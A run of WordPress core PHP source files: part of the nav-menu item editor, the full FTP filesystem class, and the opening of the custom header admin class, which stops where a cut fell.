				<p class="description description-wide">
					<label for="edit-menu-item-title-<?php echo $item_id; ?>">
						<?php _e( 'Navigation Label' ); ?><br />
						<input type="text" id="edit-menu-item-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-title" name="menu-item-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->title ); ?>" />
					</label>
				</p>
				<p class="field-title-attribute field-attr-title description description-wide">
					<label for="edit-menu-item-attr-title-<?php echo $item_id; ?>">
						<?php _e( 'Title Attribute' ); ?><br />
						<input type="text" id="edit-menu-item-attr-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->post_excerpt ); ?>" />
					</label>
				</p>
				<p class="field-link-target description">
					<label for="edit-menu-item-target-<?php echo $item_id; ?>">
						<input type="checkbox" id="edit-menu-item-target-<?php echo $item_id; ?>" value="_blank" name="menu-item-target[<?php echo $item_id; ?>]"<?php checked( $menu_item->target, '_blank' ); ?> />
						<?php _e( 'Open link in a new tab' ); ?>
					</label>
				</p>
				<p class="field-css-classes description description-thin">
					<label for="edit-menu-item-classes-<?php echo $item_id; ?>">
						<?php _e( 'CSS Classes (optional)' ); ?><br />
						<input type="text" id="edit-menu-item-classes-<?php echo $item_id; ?>" class="widefat code edit-menu-item-classes" name="menu-item-classes[<?php echo $item_id; ?>]" value="<?php echo esc_attr( implode( ' ', $menu_item->classes ) ); ?>" />
					</label>
				</p>
				<p class="field-xfn description description-thin">
					<label for="edit-menu-item-xfn-<?php echo $item_id; ?>">
						<?php _e( 'Link Relationship (XFN)' ); ?><br />
						<input type="text" id="edit-menu-item-xfn-<?php echo $item_id; ?>" class="widefat code edit-menu-item-xfn" name="menu-item-xfn[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->xfn ); ?>" />
					</label>
				</p>
				<p class="field-description description description-wide">
					<label for="edit-menu-item-description-<?php echo $item_id; ?>">
						<?php _e( 'Description' ); ?><br />
						<textarea id="edit-menu-item-description-<?php echo $item_id; ?>" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description[<?php echo $item_id; ?>]"><?php echo esc_html( $menu_item->description ); // textarea_escaped ?></textarea>
						<span class="description"><?php _e( 'The description will be displayed in the menu if the active theme supports it.' ); ?></span>
					</label>
				</p>

				<?php
				/**
				 * Fires just before the move buttons of a nav menu item in the menu editor.
				 *
				 * @since 5.4.0
				 *
				 * @param string        $item_id           Menu item ID as a numeric string.
				 * @param WP_Post       $menu_item         Menu item data object.
				 * @param int           $depth             Depth of menu item. Used for padding.
				 * @param stdClass|null $args              An object of menu item arguments.
				 * @param int           $current_object_id Nav menu ID.
				 */
				do_action( 'wp_nav_menu_item_custom_fields', $item_id, $menu_item, $depth, $args, $current_object_id );
				?>

				<fieldset class="field-move hide-if-no-js description description-wide">
					<span class="field-move-visual-label" aria-hidden="true"><?php _e( 'Move' ); ?></span>
					<button type="button" class="button-link menus-move menus-move-up" data-dir="up"><?php _e( 'Up one' ); ?></button>
					<button type="button" class="button-link menus-move menus-move-down" data-dir="down"><?php _e( 'Down one' ); ?></button>
					<button type="button" class="button-link menus-move menus-move-left" data-dir="left"></button>
					<button type="button" class="button-link menus-move menus-move-right" data-dir="right"></button>
					<button type="button" class="button-link menus-move menus-move-top" data-dir="top"><?php _e( 'To the top' ); ?></button>
				</fieldset>

				<div class="menu-item-actions description-wide submitbox">
					<?php if ( 'custom' !== $menu_item->type && false !== $original_title ) : ?>
						<p class="link-to-original">
							<?php
							/* translators: %s: Link to menu item's original object. */
							printf( __( 'Original: %s' ), '<a href="' . esc_url( $menu_item->url ) . '">' . esc_html( $original_title ) . '</a>' );
							?>
						</p>
					<?php endif; ?>

					<?php
					printf(
						'<a class="item-delete submitdelete deletion" id="delete-%s" href="%s">%s</a>',
						$item_id,
						wp_nonce_url(
							add_query_arg(
								array(
									'action'    => 'delete-menu-item',
									'menu-item' => $item_id,
								),
								admin_url( 'nav-menus.php' )
							),
							'delete-menu_item_' . $item_id
						),
						__( 'Remove' )
					);
					?>
					<span class="meta-sep hide-if-no-js"> | </span>
					<?php
					printf(
						'<a class="item-cancel submitcancel hide-if-no-js" id="cancel-%s" href="%s#menu-item-settings-%s">%s</a>',
						$item_id,
						esc_url(
							add_query_arg(
								array(
									'edit-menu-item' => $item_id,
									'cancel'         => time(),
								),
								admin_url( 'nav-menus.php' )
							)
						),
						$item_id,
						__( 'Cancel' )
					);
					?>
				</div>

				<input class="menu-item-data-db-id" type="hidden" name="menu-item-db-id[<?php echo $item_id; ?>]" value="<?php echo $item_id; ?>" />
				<input class="menu-item-data-object-id" type="hidden" name="menu-item-object-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->object_id ); ?>" />
				<input class="menu-item-data-object" type="hidden" name="menu-item-object[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->object ); ?>" />
				<input class="menu-item-data-parent-id" type="hidden" name="menu-item-parent-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->menu_item_parent ); ?>" />
				<input class="menu-item-data-position" type="hidden" name="menu-item-position[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->menu_order ); ?>" />
				<input class="menu-item-data-type" type="hidden" name="menu-item-type[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->type ); ?>" />
			</div><!-- .menu-item-settings-->
			<ul class="menu-item-transport"></ul>
		<?php
		$output .= ob_get_clean();
	}
}
<?php
/**
 * WordPress FTP Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for implementing FTP.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_FTPext extends WP_Filesystem_Base {

	/**
	 * @since 2.5.0
	 * @var resource
	 */
	public $link;

	/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param array $opt
	 */
	public function __construct( $opt = '' ) {
		$this->method = 'ftpext';
		$this->errors = new WP_Error();

		// Check if possible to use ftp functions.
		if ( ! extension_loaded( 'ftp' ) ) {
			$this->errors->add( 'no_ftp_ext', __( 'The ftp PHP extension is not available' ) );
			return;
		}

		// This class uses the timeout on a per-connection basis, others use it on a per-action basis.
		if ( ! defined( 'FS_TIMEOUT' ) ) {
			define( 'FS_TIMEOUT', 4 * MINUTE_IN_SECONDS );
		}

		if ( empty( $opt['port'] ) ) {
			$this->options['port'] = 21;
		} else {
			$this->options['port'] = $opt['port'];
		}

		if ( empty( $opt['hostname'] ) ) {
			$this->errors->add( 'empty_hostname', __( 'FTP hostname is required' ) );
		} else {
			$this->options['hostname'] = $opt['hostname'];
		}

		// Check if the options provided are OK.
		if ( empty( $opt['username'] ) ) {
			$this->errors->add( 'empty_username', __( 'FTP username is required' ) );
		} else {
			$this->options['username'] = $opt['username'];
		}

		if ( empty( $opt['password'] ) ) {
			$this->errors->add( 'empty_password', __( 'FTP password is required' ) );
		} else {
			$this->options['password'] = $opt['password'];
		}

		$this->options['ssl'] = false;

		if ( isset( $opt['connection_type'] ) && 'ftps' === $opt['connection_type'] ) {
			$this->options['ssl'] = true;
		}
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function connect() {
		if ( isset( $this->options['ssl'] ) && $this->options['ssl'] && function_exists( 'ftp_ssl_connect' ) ) {
			$this->link = @ftp_ssl_connect( $this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT );
		} else {
			$this->link = @ftp_connect( $this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT );
		}

		if ( ! $this->link ) {
			$this->errors->add(
				'connect',
				sprintf(
					/* translators: %s: hostname:port */
					__( 'Failed to connect to FTP Server %s' ),
					$this->options['hostname'] . ':' . $this->options['port']
				)
			);

			return false;
		}

		if ( ! @ftp_login( $this->link, $this->options['username'], $this->options['password'] ) ) {
			$this->errors->add(
				'auth',
				sprintf(
					/* translators: %s: Username. */
					__( 'Username/Password incorrect for %s' ),
					$this->options['username']
				)
			);

			return false;
		}

		// Set the connection to use Passive FTP.
		ftp_pasv( $this->link, true );

		if ( @ftp_get_option( $this->link, FTP_TIMEOUT_SEC ) < FS_TIMEOUT ) {
			@ftp_set_option( $this->link, FTP_TIMEOUT_SEC, FS_TIMEOUT );
		}

		return true;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false if no temporary file could be opened,
	 *                      or if the file couldn't be retrieved.
	 */
	public function get_contents( $file ) {
		$tempfile   = wp_tempnam( $file );
		$temphandle = fopen( $tempfile, 'w+' );

		if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

		if ( ! ftp_fget( $this->link, $temphandle, $file, FTP_BINARY ) ) {
			fclose( $temphandle );
			unlink( $tempfile );
			return false;
		}

		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.
		$contents = '';

		while ( ! feof( $temphandle ) ) {
			$contents .= fread( $temphandle, 8 * KB_IN_BYTES );
		}

		fclose( $temphandle );
		unlink( $tempfile );

		return $contents;
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return explode( "\n", $this->get_contents( $file ) );
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$tempfile   = wp_tempnam( $file );
		$temphandle = fopen( $tempfile, 'wb+' );

		if ( ! $temphandle ) {
			unlink( $tempfile );
			return false;
		}

		mbstring_binary_safe_encoding();

		$data_length   = strlen( $contents );
		$bytes_written = fwrite( $temphandle, $contents );

		reset_mbstring_encoding();

		if ( $data_length !== $bytes_written ) {
			fclose( $temphandle );
			unlink( $tempfile );
			return false;
		}

		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to.

		$ret = ftp_fput( $this->link, $file, $temphandle, FTP_BINARY );

		fclose( $temphandle );
		unlink( $tempfile );

		$this->chmod( $file, $mode );

		return $ret;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		$cwd = ftp_pwd( $this->link );

		if ( $cwd ) {
			$cwd = trailingslashit( $cwd );
		}

		return $cwd;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return @ftp_chdir( $this->link, $dir );
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		if ( ! $mode ) {
			if ( $this->is_file( $file ) ) {
				$mode = FS_CHMOD_FILE;
			} elseif ( $this->is_dir( $file ) ) {
				$mode = FS_CHMOD_DIR;
			} else {
				return false;
			}
		}

		// chmod any sub-objects if recursive.
		if ( $recursive && $this->is_dir( $file ) ) {
			$filelist = $this->dirlist( $file );

			foreach ( (array) $filelist as $filename => $filemeta ) {
				$this->chmod( $file . '/' . $filename, $mode, $recursive );
			}
		}

		// chmod the file or directory.
		if ( ! function_exists( 'ftp_chmod' ) ) {
			return (bool) ftp_site( $this->link, sprintf( 'CHMOD %o %s', $mode, $file ) );
		}

		return (bool) ftp_chmod( $this->link, $mode, $file );
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['owner'];
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['permsn'];
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		$dir = $this->dirlist( $file );

		return $dir[ $file ]['group'];
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		if ( ! $overwrite && $this->exists( $destination ) ) {
			return false;
		}

		$content = $this->get_contents( $source );

		if ( false === $content ) {
			return false;
		}

		return $this->put_contents( $destination, $content, $mode );
	}

	/**
	 * Moves a file or directory.
	 *
	 * After moving files or directories, OPcache will need to be invalidated.
	 *
	 * If moving a directory fails, `copy_dir()` can be used for a recursive copy.
	 *
	 * Use `move_dir()` for moving directories with OPcache invalidation and a
	 * fallback to `copy_dir()`.
	 *
	 * @since 2.5.0
	 *
	 * @param string $source      Path to the source file or directory.
	 * @param string $destination Path to the destination file or directory.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return ftp_rename( $this->link, $source, $destination );
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		if ( empty( $file ) ) {
			return false;
		}

		if ( 'f' === $type || $this->is_file( $file ) ) {
			return ftp_delete( $this->link, $file );
		}

		if ( ! $recursive ) {
			return ftp_rmdir( $this->link, $file );
		}

		$filelist = $this->dirlist( trailingslashit( $file ) );

		if ( ! empty( $filelist ) ) {
			foreach ( $filelist as $delete_file ) {
				$this->delete( trailingslashit( $file ) . $delete_file['name'], $recursive, $delete_file['type'] );
			}
		}

		return ftp_rmdir( $this->link, $file );
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 * @since 6.3.0 Returns false for an empty path.
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		/*
		 * Check for empty path. If ftp_nlist() receives an empty path,
		 * it checks the current working directory and may return true.
		 *
		 * See https://core.trac.wordpress.org/ticket/33058.
		 */
		if ( '' === $path ) {
			return false;
		}

		$list = ftp_nlist( $this->link, $path );

		if ( empty( $list ) && $this->is_dir( $path ) ) {
			return true; // File is an empty directory.
		}

		return ! empty( $list ); // Empty list = no file, so invert.
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return $this->exists( $file ) && ! $this->is_dir( $file );
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		$cwd    = $this->cwd();
		$result = @ftp_chdir( $this->link, trailingslashit( $path ) );

		if ( $result && $path === $this->cwd() || $this->cwd() !== $cwd ) {
			@ftp_chdir( $this->link, $cwd );
			return true;
		}

		return false;
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return true;
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return true;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return ftp_mdtm( $this->link, $file );
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		$size = ftp_size( $this->link, $file );

		return ( $size > -1 ) ? $size : false;
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		$path = untrailingslashit( $path );

		if ( empty( $path ) ) {
			return false;
		}

		if ( ! ftp_mkdir( $this->link, $path ) ) {
			return false;
		}

		$this->chmod( $path, $chmod );

		return true;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return $this->delete( $path, $recursive );
	}

	/**
	 * @param string $line
	 * @return array {
	 *     Array of file information.
	 *
	 *     @type string       $name        Name of the file or directory.
	 *     @type string       $perms       *nix representation of permissions.
	 *     @type string       $permsn      Octal representation of permissions.
	 *     @type string|false $number      File number as a string, or false if not available.
	 *     @type string|false $owner       Owner name or ID, or false if not available.
	 *     @type string|false $group       File permissions group, or false if not available.
	 *     @type string|false $size        Size of file in bytes as a string, or false if not available.
	 *     @type string|false $lastmodunix Last modified unix timestamp as a string, or false if not available.
	 *     @type string|false $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                     false if not available.
	 *     @type string|false $time        Last modified time, or false if not available.
	 *     @type string       $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *     @type array|false  $files       If a directory and `$recursive` is true, contains another array of files.
	 *                                     False if unable to list directory contents.
	 * }
	 */
	public function parselisting( $line ) {
		static $is_windows = null;

		if ( is_null( $is_windows ) ) {
			$is_windows = stripos( ftp_systype( $this->link ), 'win' ) !== false;
		}

		if ( $is_windows && preg_match( '/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/', $line, $lucifer ) ) {
			$b = array();

			if ( $lucifer[3] < 70 ) {
				$lucifer[3] += 2000;
			} else {
				$lucifer[3] += 1900; // 4-digit year fix.
			}

			$b['isdir'] = ( '<DIR>' === $lucifer[7] );

			if ( $b['isdir'] ) {
				$b['type'] = 'd';
			} else {
				$b['type'] = 'f';
			}

			$b['size']   = $lucifer[7];
			$b['month']  = $lucifer[1];
			$b['day']    = $lucifer[2];
			$b['year']   = $lucifer[3];
			$b['hour']   = $lucifer[4];
			$b['minute'] = $lucifer[5];
			$b['time']   = mktime( $lucifer[4] + ( strcasecmp( $lucifer[6], 'PM' ) === 0 ? 12 : 0 ), $lucifer[5], 0, $lucifer[1], $lucifer[2], $lucifer[3] );
			$b['am/pm']  = $lucifer[6];
			$b['name']   = $lucifer[8];
		} elseif ( ! $is_windows ) {
			$lucifer = preg_split( '/[ ]/', $line, 9, PREG_SPLIT_NO_EMPTY );

			if ( $lucifer ) {
				// echo $line."\n";
				$lcount = count( $lucifer );

				if ( $lcount < 8 ) {
					return '';
				}

				$b           = array();
				$b['isdir']  = 'd' === $lucifer[0][0];
				$b['islink'] = 'l' === $lucifer[0][0];

				if ( $b['isdir'] ) {
					$b['type'] = 'd';
				} elseif ( $b['islink'] ) {
					$b['type'] = 'l';
				} else {
					$b['type'] = 'f';
				}

				$b['perms']  = $lucifer[0];
				$b['permsn'] = $this->getnumchmodfromh( $b['perms'] );
				$b['number'] = $lucifer[1];
				$b['owner']  = $lucifer[2];
				$b['group']  = $lucifer[3];
				$b['size']   = $lucifer[4];

				if ( 8 === $lcount ) {
					sscanf( $lucifer[5], '%d-%d-%d', $b['year'], $b['month'], $b['day'] );
					sscanf( $lucifer[6], '%d:%d', $b['hour'], $b['minute'] );

					$b['time'] = mktime( $b['hour'], $b['minute'], 0, $b['month'], $b['day'], $b['year'] );
					$b['name'] = $lucifer[7];
				} else {
					$b['month'] = $lucifer[5];
					$b['day']   = $lucifer[6];

					if ( preg_match( '/([0-9]{2}):([0-9]{2})/', $lucifer[7], $l2 ) ) {
						$b['year']   = gmdate( 'Y' );
						$b['hour']   = $l2[1];
						$b['minute'] = $l2[2];
					} else {
						$b['year']   = $lucifer[7];
						$b['hour']   = 0;
						$b['minute'] = 0;
					}

					$b['time'] = strtotime( sprintf( '%d %s %d %02d:%02d', $b['day'], $b['month'], $b['year'], $b['hour'], $b['minute'] ) );
					$b['name'] = $lucifer[8];
				}
			}
		}

		// Replace symlinks formatted as "source -> target" with just the source name.
		if ( isset( $b['islink'] ) && $b['islink'] ) {
			$b['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $b['name'] );
		}

		return $b;
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array ...$0 {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type int|string|false $number      File number. May be a numeric string. False if not available.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path = '.', $include_hidden = true, $recursive = false ) {
		if ( $this->is_file( $path ) ) {
			$limit_file = basename( $path );
			$path       = dirname( $path ) . '/';
		} else {
			$limit_file = false;
		}

		$pwd = ftp_pwd( $this->link );

		if ( ! @ftp_chdir( $this->link, $path ) ) { // Can't change to folder = folder doesn't exist.
			return false;
		}

		$list = ftp_rawlist( $this->link, '-a', false );

		@ftp_chdir( $this->link, $pwd );

		if ( empty( $list ) ) { // Empty array = non-existent folder (real folder will show . at least).
			return false;
		}

		$dirlist = array();

		foreach ( $list as $k => $v ) {
			$entry = $this->parselisting( $v );

			if ( empty( $entry ) ) {
				continue;
			}

			if ( '.' === $entry['name'] || '..' === $entry['name'] ) {
				continue;
			}

			if ( ! $include_hidden && '.' === $entry['name'][0] ) {
				continue;
			}

			if ( $limit_file && $entry['name'] !== $limit_file ) {
				continue;
			}

			$dirlist[ $entry['name'] ] = $entry;
		}

		$path = trailingslashit( $path );
		$ret  = array();

		foreach ( (array) $dirlist as $struc ) {
			if ( 'd' === $struc['type'] ) {
				if ( $recursive ) {
					$struc['files'] = $this->dirlist( $path . $struc['name'], $include_hidden, $recursive );
				} else {
					$struc['files'] = array();
				}
			}

			$ret[ $struc['name'] ] = $struc;
		}

		return $ret;
	}

	/**
	 * Destructor.
	 *
	 * @since 2.5.0
	 */
	public function __destruct() {
		if ( $this->link ) {
			ftp_close( $this->link );
		}
	}
}
<?php
/**
 * The custom header image script.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The custom header image class.
 *
 * @since 2.1.0
 */
#[AllowDynamicProperties]
class Custom_Image_Header {

	/**
	 * Callback for administration header.
	 *
	 * @var callable
	 * @since 2.1.0
	 */
	public $admin_header_callback;

	/**
	 * Callback for header div.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_image_div_callback;

	/**
	 * Holds default headers.
	 *
	 * @var array
	 * @since 3.0.0
	 */
	public $default_headers = array();

	/**
	 * Used to trigger a success message when settings updated and set to true.
	 *
	 * @since 3.0.0
	 * @var bool
	 */
	private $updated;

	/**
	 * Constructor - Registers administration header callback.
	 *
	 * @since 2.1.0
	 *
	 * @param callable $admin_header_callback    Administration header callback.
	 * @param callable $admin_image_div_callback Optional. Custom image div output callback.
	 *                                           Default empty string.
	 */
	public function __construct( $admin_header_callback, $admin_image_div_callback = '' ) {
		$this->admin_header_callback    = $admin_header_callback;
		$this->admin_image_div_callback = $admin_image_div_callback;

		add_action( 'admin_menu', array( $this, 'init' ) );

		add_action( 'customize_save_after', array( $this, 'customize_set_last_used' ) );
		add_action( 'wp_ajax_custom-header-crop', array( $this, 'ajax_header_crop' ) );
		add_action( 'wp_ajax_custom-header-add', array( $this, 'ajax_header_add' ) );
		add_action( 'wp_ajax_custom-header-remove', array( $this, 'ajax_header_remove' ) );
	}

	/**
	 * Sets up the hooks for the Custom Header admin page.
	 *
	 * @since 2.1.0
	 */
	public function init() {
		$page = add_theme_page(
			_x( 'Header', 'custom image header' ),
			_x( 'Header', 'custom image header' ),
			'edit_theme_options',
			'custom-header',
			array( $this, 'admin_page' )
		);

		if ( ! $page ) {
			return;
		}

		add_action( "admin_print_scripts-{$page}", array( $this, 'js_includes' ) );
		add_action( "admin_print_styles-{$page}", array( $this, 'css_includes' ) );
		add_action( "admin_head-{$page}", array( $this, 'help' ) );
		add_action( "admin_head-{$page}", array( $this, 'take_action' ), 50 );
		add_action( "admin_head-{$page}", array( $this, 'js' ), 50 );

		if ( $this->admin_header_callback ) {
			add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
		}
	}

	/**
	 * Adds contextual help.
	 *
	 * @since 3.0.0
	 */
	public function help() {
		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'This screen is used to customize the header section of your theme.' ) . '</p>' .
					'<p>' . __( 'You can choose from the theme&#8217;s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed.' ) . '<p>',
			)
		);

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'set-header-image',
				'title'   => __( 'Header Image' ),
				'content' =>
					'<p>' . __( 'You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button.' ) . '</p>' .
					'<p>' . __( 'Some themes come with additional header images bundled. If you see multiple images displayed, select the one you would like and click the &#8220;Save Changes&#8221; button.' ) . '</p>' .
					'<p>' . __( 'If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the &#8220;Random&#8221; radio button next to the Uploaded Images or Default Images section to enable this feature.' ) . '</p>' .
					'<p>' . __( 'If you do not want a header image to be displayed on your site at all, click the &#8220;Remove Header Image&#8221; button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click &#8220;Save Changes&#8221;.' ) . '</p>',
			)
		);

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'set-header-text',
				'title'   => __( 'Header Text' ),
				'content' =>
					'<p>' . sprintf(
						/* translators: %s: URL to General Settings screen. */
						__( 'For most themes, the header text is your Site Title and Tagline, as defined in the <a href="%s">General Settings</a> section.' ),
						admin_url( 'options-general.php' )
					) .
					'</p>' .
					'<p>' . __( 'In the Header Text section of this page, you can choose whether to display this text or hide it. You can also choose a color for the text by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
					'<p>' . __( 'Do not forget to click &#8220;Save Changes&#8221; when you are done!' ) . '</p>',
			)
		);

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Header_Screen">Documentation on Custom Header</a>' ) . '</p>' .
